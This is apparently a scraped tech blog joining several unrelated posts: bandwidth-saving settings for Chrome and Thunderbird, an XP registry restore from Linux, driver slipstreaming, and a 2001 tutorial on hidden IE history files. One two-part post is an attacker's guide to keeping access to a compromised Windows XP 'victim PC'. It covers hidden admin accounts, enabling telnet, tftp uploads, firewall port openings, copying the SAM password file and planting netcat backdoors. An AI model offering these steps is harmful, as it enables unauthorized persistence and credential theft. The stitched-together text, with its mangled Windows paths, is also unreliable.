Since last 3 months, I am on an shitty internet connection which as a download limit of just 15 GB and costs an arm and leg. But stuck with it because the only other option in my area is just as bad. So now it happened that this 15 GB download limit was getting over within 4-5 days and rest of the duration the bandwidth gets throttled to snail like 512 Kbps for rest of the month.  All of this data was gone while I was not using any bandwidth intensive application. No torrents, videos, music streaming. Just the usual work on Opera and Chrome browsers and email.

This was bugging me too much because my current ISP (Failtel Fraudband) is notorious for shady business practices and ripping off customers. So to be doubly sure, I downloaded and installed Glasswire application to monitor my bandwidth usage.

Bandwidth usage report

Bandwidth usage report

As clear from the report above, Google Chrome is the largest bandwidth hog even though it’s my secondary browser and it mostly runs in background while I do my work on Opera. All of this bandwidth was consumed in just about 2 hours that I had it on.  While looking for a solution, I  found many people complaining of the same thing and found out that Google Chrome pre-fetches data from some most frequented websites and also automatically downloads some data from other links on the websites you are on.

Make webpages load faster

You can make webpages load faster by telling Google Chrome to prerender (preload) links. Google Chrome does this by predicting what links you might click, preparing them to load instantly for you.

For example:

  • When you’re browsing a blog, you might click “next post” when you’re done reading. The blog can tell Google Chrome to pre-load the “next post,” so the page shows instantly when you click it.
  • When you’re typing a web address in the address bar, Chrome will begin to prerender that page if it’s confident about which site you’re likely to visit (based on your local history). This will make the page show up faster when you hit enter.
    Google’s Instant Pages search feature in Chrome is powered by Chrome’s prerendering technology.



While this is a good option for connections with unlimited bandwidth, it is just a nuisance for others.  This means that the Chrome is pre-fetching data from websites which in a number of instances is just a waste of bandwidth. This option can be found by following steps as explained in above mentioned link:

  1. In the top-right corner of the browser window, click the Chrome menu icon .

  2. Select Settings.

  3. At the bottom of the page, click Show advanced settings.

  4. In the “Privacy” section, check “Prefetch resources to load pages more quickly.” If you want to undo this permission, simply uncheck the box.

As I wanted to save bandwidth, I unchecked the box.  After disabling this option, I kept Chrome running for half an hour and the bandwidth usage was minimal.

While looking for detailed logs, I also found out that Mozilla Thunderbird, which I use as my primary email client was also a big bandwidth hog, downloading 176 MB bandwidth in a single day. While I use it almost all day long, usage of this much data for text emails is way too much. By default, Thunderbird checks for messages every 10 minutes. I increased that interval to 30 minutes in Account Settings as visible in screenshot below.

Increase duration of checking messages in Thunderbird

Apart from that, a major bandwidth hog is the countless number of people sending messages with huge attachment, useless images and too many scammers and spammers with their malicious attachments. In the same menu, you can find option Synchronization & Storage.

Size limit for downloads in Thunderbird

In this, you can tell Thunderbird to not download any message bigger than your specified limit. I put in 1000 KB, but you can use any value you want. Additionally, the option just above “Synchronize the most recent” can also be given a lower value to decrease the amount of data spent on mostly un-needed traffic.

This work was done on Windows 7. I don’t know if the settings are same on Linux, but there is no reason that anything will be different.


Part 1

In this post, I’ll post more stuff that you can do to maintain access to any remote Windows XP computer. Previous post is here.

1. Creating Invisible Account

You can create a user “Admin” by running following command

c:windowssystem32net user admin admin /add

But this user will be visible on XP logon screen. To hide it, you’ll have to edit some registry settings
Open up Registry Editor and navigate to this key


Here, modify or create a DWORD Value by right-clicking the right side of the screen and adding DWORD Value. Name of the value must be same as the account name (admin here) that you want to hide. Set the value data 0 to hide it and 0 to unhide.

2. Enabling Telnet

Telnet is one simple utility that you can use to maintain access without uploading any extra backdoor/software. Telnet server is disabled on most PCs by default. You’ll have to manually enable the service to start automatically

sc config telnet start= auto net start telnet

That’s it. Any service can be enabled using this command. Just replace telnet with the service of your choice.
Now you can use the account you created earlier to login any time you want.

In this post I’ll write about what to do once you gain administrative privileges on a Windows PC. There’s lot that you can do, depending upon your inclinations (I hope benign).
Don’t ask me how to get admin rights in first place. Figure that out yourself.
Maybe I’ll write something on that someday, but not now.

Anyhow, once you get in open a windows command shell.
Here are a few things you might like to do:

1) Uploading/downloading files

First thing you might do is uploading a few files of your choice. TFTP (Trivial File Transfer Protocol) is an excellent choice for this.
You need to start tftp service/daemon on your PC first and place the files you want to upload in the programs working directory. In most linux versions, its /tmp

Type the following command to upload netsh.exe file.

C:WINDOWS>tftp -i GET netsh.exe netsh.exe


-i specifies binary transfer mode

GET tells the victim PC to fetch the file from remote PC. You can use PUT to copy data onto a remote PC is your ip

First netsh.exe is the file you want to upload

Second netsh.exe is the filename you want to keep in victim PC. You can change it to anything you want.

2. Editing network settings

The file netsh.exe is a Windows program for editing network related settings of a PC. Most XP PCs don’t have it by default. You’ll have to upload it. In this case, it’s used to open certain ports in Windows Firewall, that otherwise could be blocked. VNC uses ports 5900 and 5800 for communications. You can edit the firewall setings to unblock these ports by using these commands:

netsh firewall set portopening tcp 5800

netsh firewall set portopening tcp 5900

netsh.exe firewall set portopening udp 5900

This is just an example. You can use this command to block or unblock any port. Keep in mind, unblocking a particular port doesn’t mean the service/program that usually uses the port will start working. For example, unblocking port 23 and trying telnet will be of no use, unless telnet service is started on that PC.

3). Copying SAM

SAM file contains list of all the users and corresponding passwords in Windows. Though it’s encryption can be hard to break depending upon password strength, it’s a very juicy target. There are quite a few paid and free software to do that. It’s default location is


It’s not possible to copy the SAM file directly as it’s a protected system file. But there is a loophole here too. A backup copy of SAM is almost always located in


You can copy this file to your own PC unlike original SAM.

4). Uploading a back-door

A back-door program for example netcat is necessary if you want to keep unrestricted access. netcat is supposed to be a good program, but most anti-virus programs detect it very easily. So it’s slightly out of fashion. If that’s the case, you can try using some script based back-doors like Matahari. It’s a perl script. Only downside is that the target PC should have perl installed which most windows PCs don’t have.
Linux fares better in this case. Another good option is VNC.

That’s enough for now. Let me know if you have any suggestions or corrections.

Few days back, my Windows XP got infected by a few viruses. Using infected pen drives seemed to be the reason. One particularly pesky virus was a script that started everytime I logged on even when I deleted the .vbs file manually. So I opened up regedit.exe and deleted every registry entry containing that file name. Bad move.
Next time I rebooted, I got the Welcome Screen, which I usually bypass. Clicking on my user name was not good enough to log in. It’d display, Loading User Settings and then come back to login screen without getting to desktop. I have a dual boot system with Linux as other OS (Using ntfs-3g it’s possible to read-write NTFS partitions from Linux). I could do most work on Linux but not gaming. I needed that XP back, reinstalling was not an option.
So….booted into Linux and fired up Google to look for some solution. There were many such cases but only one solution was applicable in my case, that is..restoring the registry.
There are many ways to restore registry one being using Windows Recovery Console. But that’s slow as it involved booting using XP cd and running commands to copy/rename files from crappy command line of Windows. Why use Windows command line, when you can read-write NTFS partitions from Linux itself!! :p
Here are the steps:-

First identify your XP partition on which it’s installed. In my system it was sda1.

Then make a new directory anywhere. Name it reg. Type
mkdir /reg

Now get into Windowssystemconfig directory.
cd /mnt/sda1/Windows/system/config
Notice that / is used in linux not

Copy the following 5 files into Windowsrepair directory
software, system, security, sam and default

Now find your system restore folder on XP partition. It should be like
/mnt/sda1/System Volume Information/_restore{74AB4D58-11E9-4AAD-83C4-A8687AfE0C89}

Get into snapshots folder. There should be some folders there named RP** where ** stands for some number. Open the most recent folder and copy the following files


into reg folder you created previously.

Rename these files by deleting the _REGISTRY_MACHINE_ part from each one so that the new names are SAM, SECURITY, SOFTWARE, .DEFAULT and SYSTEM

Copy these 5 files to WindowsSystem32Config folder

Reboot, get to the welcome screen. You’ll be able to login using one account at least.
In my case I logged in using Administrator account. (only one visible). Then I created one account with same name as older on and got all my account settings and documents back.

If you don’t have linux, you can follow the instructions from this website.

There was something interesting to do in office this week. They needed to install Windows Server 2003 on a Sun Fire X4100 server so that it could be used for running an anti-virus solution. It had RedHat installed previously but they didn’t have license for Linux version of Symantac anti-virus.
  One’d think how difficult it could be..installing Windows…point, click, voila. It is actually like that in most of cases..but not in this one. Earlier it was Linux which needed  loads of tweaking, needed specialised drivers, dependencies and what not. But now, positions have changed. Linux supports most hardware out of the box unlike Windows.
 This became clear when we staretd the installation. It turned out that Windows didn’t have drivers for SCSI hard disc of the X4100.  We needed to provide drivers during the installation from an  external source..a floppy of all the things. Considering that the server had no support for floppy drive, it could be a USB floppy drive only, but owing to certain “politics”it was not an option.  Then I tried Sun Integrated Lights Out Manager. 
Logged in using console, used every command possible, changed IP address, but that didn’t work out either. This guide here  shows some of the steps used.
Then I adviced slipstreaming drivers inside the Server 2003 cd. I was told that they already did that. I asked the procedure and promptly banged my head on table. Their idea of slipstreaming was just copying the driver files on the cd and hoping that installer picks up drivers all by itself. No modifying other files to provide path of drivers or anything like that.
After I finishing damaging the table with my head, I downloaded another pdf  from Sun website and made them read the correct procedure. Its quite long for there is a software called nLite  that can do all the dirty work in 4-5 point-click kind of steps.
No fun at all :|
All that ne needs to do is copying the Windows CD on hard disc. Give nLite the path of CD dump, drivers, chose option to make it bootable, unattended installation and what not…and click finish. It’ll make an ISO that you burn on a CD. That CD will work perfectly.
Mission accomplished.
I had same problem with my older motherboard that didnt support SATA disks. Same procedure worked in that case too.

Version 2.6b
by The Riddler
November 3, 2001
(v2.0 finished May 16, 2001; v1.0 finished June 11, 2000)

Written with Windows 9x in mind, but not limited to.

I will not be liable for any damage or lost information, whether due to reader’s error, or any other reason.

If you’d like to comment specifically on this article (and not this website as a whole), please write directly to the author at

SUMMARY:Discuss this article with the author, and with other readers, in the Hidden Files discussion area of our forums!

There are folders on your computer that Microsoft has tried hard to keep secret. Within these folders you will find two major things: Microsoft Internet Explorer has not been clearing your browsing history after you have instructed it to do so, and Microsoft’s Outlook Express has not been deleting your e-mail correspondence after you’ve erased them from your Deleted Items bin. (This also includes all incoming and outgoing file attachments.) And believe me, that’s not even the half of it.

When I say these files are hidden well, I really mean it. If you don’t have any knowledge of DOS then don’t plan on finding these files on your own. I say this because these files/folders won’t be displayed in Windows Explorer at all — only DOS. (Even after you have enabled Windows Explorer to “show all files.”) And to top it off, the only way to find them in DOS is if you knew the exact location of them. Basically, what I’m saying is if you didn’t know the files existed then the chances of you running across them is slim to slimmer.

It’s interesting to note that Microsoft does not explain this behavior adequately at all. Just try searching on

I know there are some people out there that are already aware of some of the things I mention. I also know that most people are not. The purpose of this tutorial is teach people what is really going on with Microsoft’s products and how to take control of their privacy again. This tutorial was written by me, so if you see a mistake somewhere then it is my mistake, and I apologize. 

Thanks for reading. 


1.1) Acronyms

3.1) If You Have Ever Used Microsoft Internet Explorer
3.2) Clearing Your Registry
3.3) Slack files
3.4) Keeping Microsoft’s Products
8.1) Removing Find Fast
9.1) Recommended reading

Coming in Version 3.0:
Related Windows Tricks.
Looking back on the NSA-Key.
What’s with those Outlook Express .dbx files?
Windows 2000 support.


Well, the best definition I have been able to come up with is the following:

I) A “really hidden” file/folder is one that cannot be seen in Windows Explorer after enabling it to “show all files,” and cannot be seen in MS-DOS after receiving a proper directory listing from root.
a) There is at least one workaround to enable Windows Explorer to see them.
b) There is at least one workaround to enable MS-DOS to see them.

II) Distinguishes “really hidden” file/folders from just plain +h[idden] ones, such as your “MSDOS.SYS” or “Sysbckup” folder.

III) Distinguishes from certain “other” intended hidden files, such as a file with a name of “°ƒë‹x¥.”

(Interesting to note that Microsoft has disabled the “Find: Files or Folders” from searching through one of these folders.)


DOS = Disk Operating System, or MS-DOS
MSIE = Microsoft Internet Explorer
TIF = Temporary Internet Files (folder)
HD = Hard Drive
OS = Operating System
FYI = For Your Information


No. Enabling Windows Explorer to “show all files” does not show the files in mention. No. DOS does not list the files after receiving a proper directory listing from root. And yes. Microsoft intentionally disabled the “Find” utility from searching through one of the folders.

Oh, but that’s not all.

Just from one of these files I would be able to tell you which web sites you previously visited, what types of things you search for in search engines, and probably gather your ethnicity, religion, and sexual preference. Needless to say one can build quite a profile on you from these files. It has the potential to expose and humiliate — putting your marriage, friendship, and corporation at risk. Here’s one good example of the forensic capabilities.

“I’ve been reading your article as I have a problem with an employee of mine. He has been using the work’s PC for the internet and using it to chat and look at porn sites. He was then deleting the cookies and history in order to cover his tracks. A friend of mine pointed me in the direction of this site and your article. I have found it to be incredibly useful . . .”

— Concerned Boss, 8/24/01

One more thing. They contain your browsing history at ALL times. Even after you have instructed Microsoft Internet Explorer to clear your history/cache. And so the saying goes, “seeing is believing.”

To see for yourself simply do as you would normally do to clear your browsing history. Go to Internet Options under your Control Panel. Click on the [Clear History] and [Delete Files] buttons. (Make sure to include all offline content.)

So, has your browsing history been cleared? One would think so.

Skipping the to chase here. These are the names and locations of the “really hidden files”:


If you have upgraded MSIE several times, they might have alternative names of mm256.dat and mm2048.dat, and may also be located here:


Not to mention the other alternative locations under:

c:windowsapplication data…
c:windowslocal settings…

(or as defined in your autoexec.bat.)

FYI, there are a couple other index.dat files that get hidden as well, but they are seemingly not very important. See if you can find them.


Step by step information on how to erase these files as soon as possible. This section is recommended for the non-savvy. Further explanation can be found in Section 4.0. Please note that following these next steps will erase all your cache files, all your cookie files. If you use the offline content feature with MSIE, following these next steps will remove this as well. It will not erase your bookmarks.


1) Shut your computer down, and turn it back on. 2) While your computer is booting keep pressing the [F8] key until you are given an option screen.
3) Choose “Command Prompt Only” (This will take you to true DOS mode.) Windows ME users must use a boot disk to get into real DOS mode.
4) When your computer is done booting, you will have a C:> followed by a blinking cursor. Type this in, hitting enter after each line. (Obviously, don’t type the comments in parentheses.)

C:WINDOWSSMARTDRV (Loads smartdrive to speed things up.)
DELTREE/Y TEMP (This line removes temporary files.)
DELTREE/Y COOKIES (This line removes cookies.)
DELTREE/Y TEMP (This removes temporary files.)
DELTREE/Y HISTORY (This line removes your browsing history.)
DELTREE/Y TEMPOR~1 (This line removes your internet cache.)

(If that last line doesn’t work, then type this:)


(If that didn’t work, then type this:)

(If this still does not work, and you are sure you are using MSIE 5.x, then please e-mail me. If you have profiles turned on, then it is likely located under windowsprofiles%user%, while older versions of MSIE keep them under windowscontent.)

This last one will take a ridiculous amount of time to process. The reason it takes so incredibly long is because there is a ton of (semi-) useless cache stored on your HD.

5) Immediately stop using Microsoft Internet Explorer and go with any of the alternative browsers out there (e.g., Netscape 4.7x from, Mozilla from, or Opera from

FYI, Windows re-creates the index.dat files automatically when you reboot your machine, so don’t be surprised when you see them again. They should at least be cleared of your browsing history.


It was once believed that the registry is the central database of Windows that stores and maintains the OS configuration information. Well, this is wrong. Apparently, it also maintains a bunch of other information that has absolutely nothing to do with the configuration. I won’t get into the other stuff, but for one, your typed URLs are stored in the registry.

HKEY_USERS/Default/Software/Microsoft/Internet Explorer/TypedURLs/
HKEY_CURRENT_USER/Software/Microsoft/Internet Explorer/TypedURLs/

These “Typed URLs” come from MSIE’s autocomplete feature. It records all URLs that you’ve typed in manually in order to save you some time filling out the address field. By typing “ama” the autocomplete feature might bring up “” for you. Although I find it annoying, some people prefer this feature. One thing is for sure, however — it’s an obvious privacy risk. You wouldn’t want a guest to type “ama” and have it autocomplete to “,” would you?


As you may already know, deleting files only deletes the references to them. They are in fact still sitting there on your HD and can still be recovered by a very motivated person.

BCWipe is a nice program that will clear these files.
For you DOS buffs, there’s a freeware file wiper on that I use.
If you are using PGP, there is a “Freespace Wipe” option under PGPtools.
The newer versions of Norton Utilities have a nice file wiping utility.
You might want to check out Evidence Eliminator’s 30 day trial. This is probably the best program as far as your privacy goes.


If your work environment forces you to use Microsoft Internet Explorer, then I strongly recommend that you talk your boss into checking out one of these programs:

Cache and Cookie Cleaner for IE
TARGET=”new-window”>Anonymizer Window Washer

These programs automate the process for you, and is a better alternative to adding ‘deltree/y’ lines to your autoexec.

And if your work environment forces you to use Outlook or Outlook Express, then you should get in the habit of compacting your mailboxes.

You can do this by going to File > Folder > Compact All if you have Outlook Express, or Tools > Options > Other tab > [Auto Archive] if you have Outlook. Make sure to set things up here.


This next section is intended for the savvy user.

The most important files to be paying attention to are your “index.dat” files. These are database files that reference your history, cache and cookies. The first thing you should know is that the index.dat files is that they don’t exist in less you know they do. They second thing you should know about them is that some will *not* get cleared after deleting your history and cache.

The result: A log of your browsing history hidden away on your computer after you thought you cleared it.

To view these files, follow these steps:

In MSIE 5.x, you can skip this first step by opening MSIE and going to Tools > Internet Options > [Settings] > [View Files]. Now write down the names of your alphanumeric folders on a piece of paper. If you can’t see any alphanumeric folders then start with step 1 here:

1) First, drop to a DOS box and type this at prompt (in all lower-case). It will bring up Windows Explorer under the correct directory.

c:windowsexplorer /e,c:windowstempor~1content.ie5

You see all those alphanumeric names listed under “content.ie5?” (left-hand side.) That’s Microsoft’s idea of making this project as hard as possible. Actually, these are your alphanumeric folders that was created to keep your cache. Write these names down on a piece of paper. (They should look something like this: 6YQ2GSWF, QRM7KL3F, U7YHQKI4, 7YMZ516U, etc.) If you click on any of the alphanumeric folders then nothing will be displayed. Not because there aren’t any files here, but because Windows Explorer has lied to you. If you want to view the contents of these alphanumeric folders you will have to do so in DOS. (Actually, this is not always true. Sometimes Windows Explorer will display the contents of these folders — but mostly it won’t. I can’t explain this.)

2) Then you must restart in MS-DOS mode. (Start > Shutdown > Restart in MS-DOS mode. ME users use a bootdisk.)

Note that you must restart to DOS because windows has locked down some of the files and they can only be accessed in real DOS mode.

3) Type this in at prompt:

CD %alphanumeric%

(replace the “%alphanumeric%” with the first name that you just wrote down.)


The cache files you are now looking at are directly responsible for the mysterious erosion of HD space you may have been noticing. One thing particularly interesting is the ability to view some your old e-mail if you happen to have a Hotmail account. (Oddly, I’ve only been able to retreive Hotmail e-mail, and not e-mail from my other web-based e-mail accounts. Send me your experiences with this.) To see them for yourself you must first copy them into another directory and THEN open them with your browser. Don’t ask me why this works.

A note about these files: These are your cache files that help speed up your internet browsing. It is quite normal to use this cache system, as every major browser does. On the other hand. It isn’t normal for some cache files to be left behind after you have instructed your browser to erase it.

5) Type this in:


You will be brought to a blue screen with a bunch of binary.

6) Press and hold the [Page Down] button until you start seeing lists of URLs. These are all the sites that you’ve ever visited as well as a brief description of each. You’ll notice it records everything you’ve searched for in a search engine in plain text, in addition to the URL.

7) When you get done searching around you can go to File > Exit. If you don’t have mouse support in DOS then use the [ALT] and arrow keys.

8) Next you’ll probably want to erase these files by typing this:


(replace “cdwindows” with the location of your TIF folder if different.)

This will take a seriously long time to process. Even with Smartdrive loaded.

9) Then check out the contents of your History folder by typing this:


You will be brought to a blue screen with more binary.

10) Press and hold the [Page Down] button until you start seeing lists of URLS again.

This is another database of the sites you’ve visited.

11) And if you’re still with me, type this:


12) If you see any mmXXXX.dat files here then check them out (and delete them.) Then:


More URLs from your internet history. Note, there are probably other mshist~x folders here so you can repeat these steps for every occurence if you please.

13) By now, you’ll probably want to type in this:



How does Microsoft make these folders/files invisible to DOS?

The only thing Microsoft had to do to make the folders/files invisible to a directory listing is to set them +s[ystem]. That’s it. As soon as the dir/s command hits a system folder, it renders the command useless (unlike normal folders.) A more detailed explanation is given in Section 6.

So how does Microsoft make these folders/files invisible to Windows Explorer?

The “desktop.ini” is a standard text file that can be added to any folder to customize certain aspects of the folder’s behavior. In these cases, Microsoft utilized the desktop.ini file to make these files invisible. Invisible to Windows Explorer and even to the “Find: Files or Folders” utility (so you wouldn’t be able to perform searches in these folders!) All that Microsoft had to do was create a desktop.ini file with certain CLSID tags and the folders would disappear like magic.

To show you exactly what’s going on:

Found in the c:windowstemporary internet filesdesktop.ini and the c:windowstemporary internet filescontent.ie5desktop.ini is this text:


Found in the c:windowshistorydesktop.ini and the c:windowshistoryhistory.ie5desktop.ini is this text:


The UICLSID line cloaks the folder in Windows Explorer. The CLSID line disables the “Find” utility from searching through the folder. (Additionally, it gives a folder the appearance of the “History” folder.)

To see for yourself, you can simply erase the desktop.ini files. You’ll see that it will instantly give Windows Explorer proper viewing functionality again, and the “Find” utility proper searching capabilities again. Problem solved right? Actually, no. As it turns out, the desktop.ini files get reconstructed every single time you restart your computer. Nice one, Slick.

Luckily there is a loophole which will keep Windows from hiding these folders. You can manually edit the desktop.ini’s and remove everything except for the “[.ShellClassInfo]” line. This will trick windows into thinking they have still covered their tracks, and wininet won’t think to reconstruct them.

I can’t stress how ridiculous it is that Windows actually makes sure the files are hidden on every single boot. No other files or folders get this kind of special treatment. So what’s the agenda here?


Executing the “dir/a/s” command from root should be the correct command to display all files in all subdirectories in DOS. However, doing so will not display the index.dat files. This is because when DOS tries to get a list of the subdirectories of any +s[ystem] directory it hits a brick wall. No files or folders will be listed within any system directory. Not only does this defeat the whole purpose of the “/s” switch in the first place, but I’d say it looks like Microsoft took extra precautions to keep people from finding the files. Remember, the only thing you need to do to obscure a file in DOS is to mark the parent directories as +s[ystem].

I was told by a few people that this was due to a very old DOS bug that dates back many years. Fine. I can accept that. A bug it is.

But, would you consider your Temporary Internet Files to be “system files?” It would seem that your TIF folder appears to be marked +s[ystem] for no good reason at all. Just because. Same with your history folder. You may not agree, but I tend to think that Microsoft marked the folders as +s[ystem] solely to hide any directory recursal from DOS.

In case you didn’t understand, here’s a small experiment that will show you what I mean.

Since the content.ie5 and history.ie5 subfolders are both located within a +s[ystem] folder, we will run the experiment with them. The proper command to locate them should be this:

DIR *.IE5 /as/s

The problem is that you will receive a “No files found” error message.

Since we already know there is a content.ie5 subfolder located here, why is it giving me the “no files found” message?

But there is a way to get around this brick wall. That is, once you are inside the system directory, then it no longer has an effect on the dir listings. For example, if you enter the system folder first, and THEN try to find any +s[ystem] directories you can see them just fine:

DIR *.IE5 /as/s

1 folder(s) found.

Now you will get a “1 folder(s) found.” message. (But only after you knew the exact location.)

In other words, if you didn’t know the files existed then finding them would be almost impossible.

And, by the way, to see the “bug” in progress:

DIR *.IE5 /a/s

It will echo “no files found.”

Now, just take away the system attributes from the parent directory…


And retry the test:

DIR *.IE5 /a/s

It will echo “1 folder(s) found.”


Would you think twice about what you said if you knew it was being recorded? E-mail correspondence leaves a permanent record of everything you’ve said — even after you’ve told Outlook to erase it. You are given a false sense of security sense you’ve erased it twice, so surely it must be gone. The first time Outlook simply moves it to your “Deleted Items” folder. The second time you erase it Outlook simply “pretends” it is gone. The truth is your messages are still being retained in the database files on your hard drive. (As are your e-mail attachments.)

For earlier versions of Outlook Express, they will be located in either of the following folders:

c:program filesinternet mail and news%user%mail*.mbx
c:windowsapplication datamicrosoftoutlookmail*.mbx

At this point you have two choices:

a) Get in the habit of compacting your folders all the time.
b) Backup, print out, or import the data into another e-mail client such as Eudora and then delete the mbx files (and thus all your e-mail correspondence) by typing this:

deltree/y mail


deltree/y mail

(Typing in the above commands will kill all your e-mail correspondence. Do not follow those steps in less you have already backed up your e-mail and address book!)

If you have a newer version of Outlook or Outlook Express, the databases are located elsewhere. Look for .dbx and .pst file extensions. These databases are five times as creepy, and I strongly recommend you take at the files.

Just from my outbox.dbx file I was able to view some of my old browsing history, bring up previously-visited websites in html format, and even read ancient e-mail from my Eudora client (read: EUDORA).

Again, don’t take my word for it. See for yourself and THEN tell me what you think “Slick Willy” is up to here.


Have you ever wondered what that “Find Fast” program was under your control panel? Here’s a hint: It has absolutely nothing to do with the “Find” utility located under the [Start] menu. Just to clear up any confusion before going on, Oblivion adequately explains Find Fast here:

“In any version of Word after 95, choose File Open and you’ll get the Office App Open dialog. Instead of just a space for the file name, there are text boxes for file name, files of type, text or property & last modified. These are search criteria you can use to find one or more files. There is also an “Advanced” button that opens a dedicated search dialog with more options. When you use either of these dialogs to perform a search, that search process uses the indexes built by Find Fast.”

But what would you say if I told you that Find Fast was scanning every single file on your hard drive? Did you know that in Office 95, the Find Fast Indexer had an “exclusion list” comprised of .exe, .swp, .dll and other extensions, but the feature was eliminated? If you were a programmer would you program Find Fast to index every single file, or just the ones with Office extensions?

FYI, If you have ever had problems with scandisk or defrag restarting due to disk writes, it is because Find Fast was indexing your hard drive in the background. It loads every time you start your computer up.

Now here is a good example of the lengths Microsoft has gone through to keep people from finding out Find Fast is constantly scanning and indexing their hard drives. (Always good to have an alibi.) Here’s a snippet taken from

“When you specify the type of documents to index in the Create Index dialog box, Find Fast includes the document types that are listed in the following table.
Doc Type File Name Extension
Microsoft Office files All the Microsoft Excel, Microsoft Web documents PowerPoint, Microsoft Project, and Microsoft Word document types listed in this table. Microsoft Binder (.odb, .obt) and Microsoft Access (.mdb) files. Note that in .mdb files, only document properties are indexed.
Microsoft Excel workbooks .xl* files
Microsoft PowerPoint files .ppt (presentation), .pot (template), .pps (auto-running presentation) files
Microsoft Project files .mpp, .mpw, .mpt, .mpx, .mpd files
Microsoft Word documents .doc (document), .dot (template), .ht* (Hypertext Markup Language document), .txt (text file), .rtf (Rich Text Format) files
All files *.* files

Did you get that last part? “All files?” Find Fast indexes Office Documents, Web documents, Word Documents, Power Point files, Project files, and — oh, I forgot — EVERY SINGLE other file on your computer.

Actually, the good news is that this isn’t necessarily true. In another statement, Microsoft claims that if Find Fast deems the file “unreadable” then the file will not be included in the index. For example, your probably wouldn’t get indexed because it doesn’t have a lot of plain text — mostly binary.

But back to the bad news. Every single file that has legible text is going to be included in the Find Fast database. Do you understand the implication here? All text saved to your hard drive is indexed. The forensic capabilities are enormous, folks. Don’t forget that “all text” also means previously visited webpages from your cache. See for yourself. Open up a DOS window and type:

DIR FF*.* /AH (This will bring up a listing of the Find Fast databases.)

EDIT /75 %ff% (insert %ff% with any of the names that were listed.)

Notice the incredible amount of disk accesses to your cache and history folders? Why do we need two indexes?


You can remove Find Fast using your Office CD, but I recommend you do it manually.

1) Reboot your computer in MS-DOS Mode.
2) Delete the FindFast.CPL file from c:windowssystem
3) Delete the shortcut (.lnk) under c:windowsstart menuprogramsstartup
4) Delete the FindFast.EXE file from c:progra~1micros~1office 5) It’s important to delete the find fast databases (c:ff*.*). 6) You can also safely delete FFNT.exe, FFSetup.dll, FFService.dll, and FFast_bb.dll if you have them.

Feel free to check out the ffastlog.txt (which is the Find Fast error log). It’s a +h[idden] file under c:windowssystem.


This tutorial is being updated all the time. If you have any useful input, or if you see a mistake somewhere, then please e-mail me so I can compile it into future versions. You will be able to find the most recent version of this tutorial at I am not directly affiliated with the site.

My e-mail address is located at the end of this note. Please let me know where you heard about this tutorial in your message. If you have something important to say to me, then please use encryption. My public key blocks are located below. Be suspicious if you send me an encrypted message but never get a reply.

Thanks for reading.

— The Riddler

My PGP 2.6.3 Block:

Version: 2.6.3a
Comment: Compatible with PGP 2.6.x


My GPG 1.0.6 Block:

Version: GnuPG v1.0.6 (MingW32)


My PGP 6.5.8 Block (patched ADK bug):
Version: PGP 6.5.8



10. SPECIAL THANKS (and no thanks)

This version I want to give special thanks to Concerned Boss, Oblivion, and the F-Prot virus scanner.

I also want to take this time to show my dissatisfaction to the New Zealand Herald. Although partly flattering, it was more disgusting to see a newspaper try to take credit for my work.

11. REFERENCES;=514&mmark;=all


This article has been under the protection of copyright laws the moment it was fixed in a tangible form. In less otherwise agreed, this article may only be distributed as a whole and without modification. Thank you.

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